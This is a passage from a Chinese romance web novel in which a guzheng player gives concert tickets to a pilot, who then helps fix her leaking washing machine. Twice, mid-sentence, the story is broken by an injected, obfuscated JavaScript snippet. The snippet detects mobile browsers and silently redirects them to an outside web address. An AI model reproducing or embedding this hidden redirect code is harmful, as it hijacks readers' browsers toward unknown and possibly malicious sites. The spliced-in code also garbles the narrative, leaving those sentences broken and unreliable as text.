听到他的点评,许黎念总算舒了一口气。 瞿指挥又说:“所有弹拨乐,这块重新来一遍,从54到63小节。” …… 一天紧锣密鼓的排练,许黎念到家都八点了。没什么胃口,随便做了个酸奶碗,配着云城带回来的蓝莓,一边追剧一边吃,放松自己。 想到白天领的演出票,犹豫了一下还是决定给段莫凡发微信。 她先拍了张票面信息的照片,然后附上一句:邀请你来听我们团的民族管弦乐新年音乐会。 信息发出去五分钟也没有回应,许黎念感觉自己有些唐突了。 自扬城一别之后,两人就没再联系。 其实她有一点戒断反应,好像从来没有和谁在一起连续吃过那么多天的一日三餐,有点怀念那种谈笑风生的感觉。 愈发衬得手中的酸奶索然无味。 于是她又补了一句:不算很重要的演出,如果没空就算了。 过了几分钟还是没有回应,她握着手机有点后悔发了信息,可惜已经无法撤回。 好自作多情的感觉。 她内耗着,剧没看进去,酸奶也没吃完,一晚上都过得不安稳。 最郁闷的是去阳台收衣服准备洗澡,才发现整个阳台水漫金山,连个落脚地都没有。 赶紧拿洗地机吸水,研究了一下发现是洗衣机漏出来的水,早上急匆匆出门也没注意。 这得赶紧找出原因弄好,不然漏到楼下邻居就不好了。 还好她一个人生活,手机里积累了一些维修师傅,翻了翻找到洗衣机维修的师傅,发去微信。 刚发完,微信通话铃声响了起来,看到屏幕上段莫凡的名字,忐忑了一晚上的心莫名就落了地。 “晚上好,许黎念小姐。” 那头传来段莫凡的声音。不知道为什么,每次他这样称呼自己,她都觉得很好听,有一种译制片腔调独特的感觉。 “晚上好。”她温柔回应,一手撑在洗地机杆上,按下了暂停键。 “我刚落地,看来许小姐没有画饼。”他的语气中带着一丝笑意。 “说好的,我肯定不会食言。”为了显得随意,她又补一句:“有空就来,没空就算。” “许小姐的演出,我自然是要来的。” 不知为何,他笃定要来,她又觉得有点那什么。她自己都不明白为何变得如此拧巴。 她道:“是团体演出啦,而且古筝的份量感很轻,只有我一个古筝演奏。” “独一无二,妥妥C位。” 她解释:“不是啦,通常一个民族管弦乐团,只需要一个古筝位。” “那更优秀了,怎么不算C位呢!” “你倒是会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542851|171062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夸人,”许黎念被夸得有点害臊,手无意识地左右晃着洗地机杆,又说:“下半场倒是有我的一首古筝协奏。” “我很期待,一定准时正装出席。” 被人重视的感觉真好。 许黎念轻笑出声,“那我明天叫个跑腿给你把票送去?” “不用,我刚下班顺路来拿一趟。” “现在吗?”她有点诧异。 “如果你没睡的话。” “那倒没那么早,我地址……” 他打断她的话,脱口道:“瑞景华府。” 许黎念愣了一下。 “顺风车订单上有记录。”他在那头轻笑。 她反应过来,附和着哈哈笑了一下,“那你到小区东门口吧,那边车子可以暂时停靠。” “好,十点见。” 挂断通话,许黎念觉得自己脸上有点热,她用手扇了扇风,心想肯定是拖地热到了,赶紧打开一点阳台窗,寒风呼呼迎面直击,只一两秒她又马上把窗关上。 离约定时间还有五分钟,许黎念已到达小区东门口停车处,眼睛紧紧盯着机场路过来的方向。冬天的夜晚异常冷,寒风无孔不入,她拢紧了家居服的帽子。 忽然一道强光朝她闪了下,她下意识地抬手遮挡。 “许小姐,翘首以盼看啥呢?” 许黎念愣了一下,定睛一看,就在三五步外,停着一辆黑色大G,车窗敞开着,段莫凡单手随意地搁在车窗上,从里头微探出头正笑看着她。 原来她潜意识里一直在想着他那辆黑色的保时捷卡宴。 许黎念往前走了几步,尴尬地笑了下,“换了车,一下子没认出来。” 他说:“那辆还没修好。” 进口车的配件有时要等一段时间。 段莫凡解开安全带,长腿一迈下车来,站在车门口。 大G这个车又高又大很容易把人的气势压住,许黎念站在一旁更衬得她娇小一只,而段莫凡往那一站,长身玉立的,却是无比适配。而且还有机长制服的加持,连路灯都似乎偏爱他,为他勾勒出一道迷人的轮廓。 这长相太容易让人沦陷了,许黎念的心跳莫名加快。 段莫凡的目光落在她身上,倒是很大方地打量了一眼,嘴角上扬,“真可爱。” 她穿着一件长款的珊瑚绒卡通家居服,帽子是黛西头。她想着就出来送个票,套了件家居服就出来了。 她脸色微红,低下头,笑着说:“见笑了。” 然后从口袋里摸出一个漂亮的纸壳,递过去。 “有两张票,你可以和朋友一起来。” 他接过去,粉色的樱花纸壳,带着淡淡的香味,像是精心包装过的。 他挑挑眉,笑道:“为什么是两张,没有朋友怎么办?” 许黎念愣了一下,送票一般都送两张,抬头眸中戏谑,“我不信。” “男朋友可不可以?”他故意玩笑。 “啊?”她惊呆。 看到她呆若木鸡的表情,段莫凡哈哈大笑,然后又收敛起大半的笑,说:“我没有女朋友。” 她心下一颤,别过脸去,“谁问你了。” “就想告诉你。” 他笑意盈盈地看着她,看着她头越垂越低,脸色越来越红,他很想伸手捏一捏那个毛茸茸的黛西头。 就在这时,许黎念的微信通话又响了起来,是刚才的维修师傅,和她约时间,问她明天白天有没有空。 许黎念回他白天没空,要晚上至少7点才能到家。师傅表示单子排满了,最快也得后天。 衣服每天都要洗,漏水可不行。挂断通话,许黎念打算重新找别的师傅。 段莫凡听了个七七八八,说:“我帮你去看一看?” 许黎念愣了一下,抬头看向他,“会不会太麻烦你了?” “不麻烦。”他说。 15. 第 15 章 小区比较大,大冷天的走进去还要一段路,许黎念提议开车进去,她知道自己那栋楼旁边正好有几个访客车位。 拉开副驾车门,许黎念看到座椅上有个手提纸袋,便打算坐到后座去。 “上来。” 段莫凡从主驾侧过一点身子,伸手拿过纸袋。 许黎念迟疑了一下,还是踩着脚踏坐了进去。 他又把纸袋递给她,说:“给你的。” 许黎念疑惑地看他一眼,然后拿起纸袋中的东西,是一只机长小熊。 “这……” 他说:“公司发的,我留着没用,女孩子不都喜欢玩偶嘛。” 看到她有点迟疑,他又学着卡通人物说话:“小姐姐不要拒绝我,机长小熊会伤心哭鼻子。” 许黎念被他逗笑,低下头掩着唇偷笑,而后抱着小熊,捏着它短短的胳膊朝他挥一挥,“谢谢,很可爱。” 他欣慰一笑。 许黎念一边给他指路,一边摆弄着小熊。 泰迪小熊穿着星翼航空的机长制服,头戴机长的帽子,脸上还架着一副帅气的反光太阳镜,脖子里甚至还挂着工牌。 许黎念拿起小熊,看一眼身旁的男人,又看一眼熊。 “怎么?”他挑了挑眉。 她歪着头浅笑,“和段机长简直一模一样。” 段莫凡看她一眼,哈哈一笑,“你怎么知道,我们公司就是比着我设计的。” “少自恋了!”许黎念切了一声,眼睛瞥向车窗外,“前面右转,然后直行,看到大树旁访客车位就到了。” 一时无话,她又继续摆弄小熊,发现除了帽子眼镜能拿下来,制服也能解开,里面是一套春夏的衬衫制服,连腰间的皮带都齐全。 “做工挺细致的嘛,和真的一样,衣服都能脱。” 话脱口两秒,她马上反应过来,恨不得打自己的嘴。 刚刚说这小熊和他一模一样,现在说什么脱衣服,实在太暧昧了。 诡异的安静,只听得他轻咳一声,她不敢看他,低着头只觉得脸上发烫。 幸好车内比较昏暗,幸好他已经在停车。 许黎念一直低着头,等他停好车,立刻拉开车门,兜上帽子,抱着小熊下了车。 也正因为如此,她没有看到段莫凡嘴角的笑意。 她害羞的样子,看起来好可爱。 *** 电梯门开,迎面出来一个头发花白,穿着朴素的老阿姨。 是熟人,许黎念不得不打个招呼。 “李阿姨,这么晚还出去啊。” 对方定睛一看,热情问候。 “小许,刚下班啊,工作这么辛苦,要注意休息的。” 不等许黎念开口,李阿姨看到她身后的段莫凡,双眼一亮,诧异道:“小许,你有男朋友啦?阿姨倒还想给你介绍一个嘞。” “不是的……” 许黎念想澄清,架不住段莫凡嘴甜地喊了一声“阿姨好。” 然后李阿姨目光都在段莫凡身上,上下打量着,喜笑颜开地夸赞:“哎哟小伙子高高帅帅的,你这一身行头是飞行员吧,就像那个香港电视,叫什么来着,噢想起来了,《冲上云霄》里那个,一样帅!” 段莫凡笑着说:“阿姨你知道的还挺多。” 李阿姨又看看许黎念,说:“小许是个很好的小姑娘,人漂亮心也善,你们一定要好好的,结婚记得请我吃喜糖哦。” “一定。”他满口应着。 进了电梯关上门,许黎念埋怨:“你乱答应什么!” 段莫凡说:“你要说不是,你猜她会不会一问到底,大晚上的不是情侣关系进一个屋,你猜她会不会出去乱说?这个年纪的老阿姨,你顺着捧着她两句就行了。” 好像是这么个道理。 反正人不可貌相,一开始许黎念是同情李阿姨这么大年纪还要出来满小区捡废品,经常攒一些快递箱纸壳给她,有时也送她一些水果,后来发现她儿子是知名公司高管,而且她和老伴退休工资加起来都两三万,捡废品纯粹是老年人的爱好。也是,是她没考虑到能住这个小区的就不可能是穷人。 段莫凡见许黎念不说话,又说:“许小姐很受欢迎嘛,经常有人介绍对象吗?” “没你受欢迎,不说话光是站着都能哄得阿姨眉开眼笑。” 他意味深长地看了她一眼,“听起来有点酸。” 电梯“叮”的一声到了。 “酸你个头!” 许黎念抛下这一句,把机长小熊往他怀里一塞,然后头也不回地走出去。 段莫凡一手拿着小熊,举起到眼前,轻声低语:“她生气了?” 墨镜小熊表情酷酷的,像是在说“那你还不快追,等啥呢!” 段莫凡大步跟上。 许黎念已到家门口,转身说:“麻烦等我一分钟,家里有点乱。” 其实也不是乱,就是没有计划到大晚上的一个男人来家里,有些不宜被异性看到的东西得收一收。 她说完,歉意地点了点头,然后独自进屋,把门虚掩上。 许黎念快步冲到客厅,把沙发上刚才收下来的一堆衣服抱进卧室,里面有内衣裤不宜被人看到,通通往床上一堆,然后关上房门。桌上吃剩的酸奶碗也端进厨房,顺手抽了两张纸把桌子擦了下。 又环顾四周看了一眼,确认并无不妥之后,才返回门口。 段莫凡静静地站在门外,又拿着小熊低声自言自语,“第一次大晚上进女生家里,有点紧张。” 小熊依旧酷酷的,像是在嘲笑他,“你也会紧张?别胡思乱想,大大方方的。” “请进。” 她说话的时候,把大门打了开来。 段莫凡站直了身体,往里看了一眼,很亮堂,她像是把所有的灯都打开了。 他玩笑道:“把帅哥藏好了?” “对,有八个帅哥。”她随口扯着,已经逐渐习惯他的玩笑。 听到她的话,他倒是反而愣了一下,转而低头说:“需要换鞋或者鞋套吗?” “哦,差点忘了。” 事出突然,她也没准备好,转身打开玄关处的鞋柜,在里面一顿找,然后拿出一双酒店的一次性拖鞋。 “抱歉,鞋套正好用完了,家里没有男士拖鞋,这个将就一下可以吗?” 她每次住酒店都把新的拖鞋带回来,有朋友来或者学生来上课,就拿出来,用完就扔,很方便。 他把小熊往穿鞋凳上一放,一边接过薄薄的拖鞋,一边说:“不是说有八个帅哥吗,怎么凑不出一双男人拖鞋。” 许黎念败下阵来,只能哈哈一笑。 她的房子很宽敞,138平三居室,简约美式风格,奶油白的墙体,黑胡桃木色的家具,摆着几盆四季常青的绿植,餐边柜上挂着一幅爱马仕丝巾裱画,全屋开着地暖。 瑞景华府算是中高端小区,这样一套房子在一线城市的江城可不便宜。 事实上这房子是许黎念爸爸全款给她买的,另外每年生日都会给她打50万。就这继母还肉疼上了,有一回私下给她打电话哭穷,说疫情之后生意不好做,已经卖了两套房周转,话里话外希望她放弃这50万。许黎念当时就笑着阴阳她,“阿姨,50万算什么,你少买两个爱马仕就够了。”怼的继母噎住,当场气的挂了电话。 许黎念长相很温婉,看起来是好欺负的小白花,其实内心要强不好惹。她不是圣母也不假清高, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542852|171062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认为那些都是自己应得的。就这,她都已经退让了,现在比起小时候的生活水准还是倒退了呢。就算爸爸百年之后,她都会和那个同父异母的弟弟平分家产,凭什么放弃呢! 许黎念引着段莫凡走到阳台,顺手打开灯,地面粗粗拖吸过水,但是灯光一照还是能看到水痕,墙角地漏处还有一些积水。 “应该是洗衣机的问题。”她的语气中带着几分笃定。 段莫凡站在那儿四处观察了一下,问:“洗衣机排水管在哪?” “隐藏在柜子后面。” 当时装修是她自己盯的,所以都清楚。她走过去,把洗衣机旁柜子的抽屉和隔板,一个一个拿走,柜子瞬间变成一个木框架。 由于藏的深,里面黑乎乎的,段莫凡打开手机电筒,弯下腰,终于看到了连接地面的排水管。 段莫凡说:“先把洗衣机移出来,看看到底是不是洗衣机的问题,还是排水管堵塞。” 室内温度估计有20多度,他才动了一下就有点热,而且制服比较修身着实不太方便。于是他利落地将制服脱下,四下看了眼没找到放衣服的地方。 “给我吧。” 许黎念说着,顺手接过他的制服抱在手上。然后走到客厅,放在沙发上。她也有点热,把那件又长又厚的珊瑚绒家居服脱了,单穿一件咖啡色亨利打底衫。 等她返回阳台,看见段莫凡已经在挪洗衣机。他的衬衫袖子挽起到臂弯处,露出一截紧实的小麦色手臂,肌肉线条在灯光下若隐若现。 洗衣机不太好挪,很笨重,而且当时是按照尺寸定制的嵌在柜体中,旁边还有一只烘干机,几乎就是严丝合缝。 他的双手卡在洗衣机两侧边缘,一点一点慢慢往外挪,因为用力衬衫肩线紧绷着,清晰勾勒出宽阔的双肩,长腿微微弯曲,折叠度显得腿更长,脚踝处露出一截黑色的袜子,没有露肤,莫名满满性张力。 “有盆吗?”他转头问。 许黎念回过神来,神色慌乱地四下扫了一圈,然后快步走到晾衣架前拿来一个塑料盆。 段莫凡看了她一眼,接过盆,抽出洗衣机的软管通到盆中。 “你试一下脱水功能。” 许黎念在面板上点了几下,几分钟后,洗衣机正常排水,没有出现漏水。 段莫凡给出判断,“大概率是排水管堵了。” 为了验证,需要往排水管里快速倒一些水。 柜子虽然撤的只剩个框架,但排水管藏得又深又低,而他身形高大,就算蹲下身来,也探不进去,更别提观察是否漏水。 许黎念走上前去,说:“我来吧。” 他便站在她的身旁,低头弯腰,拿着手机给她照明。 一盆水倒进去,水管立刻溢了出来。 “真的堵了。” 许黎念下意识地转头,不想两人靠的那么近,鼻尖擦过他的下巴,她心下一颤,本能地想往后退。 水已经蔓延出来流到两人脚下,她慌不择路,眼见着就要滑倒往后摔,他眼疾手快一把托住了她的腰,而她也在那一刻本能地揪住了他胸前的领带。 这一托一揪两个动作叠在一起,使得两人之间的距离无限接近,近得甚至能感受到彼此的呼吸。 四目相对,视线交织。 淡淡的烟草味,混着沉香木的味道,萦绕在她鼻间,她感觉自己心跳越来越快,快到就要呼吸不过来。 她的呼吸起伏那么大,亨利衫本就紧身,身材曲线纤毫毕现,两人又靠的那么近,她领口几颗扣子还敞着,从他那个角度看过去,绝对是一种自制力的挑战。 腰间传来难以忽视的温热感,托着她腰的宽大掌心明显收拢。 他的喉结不自觉地滚动了一下。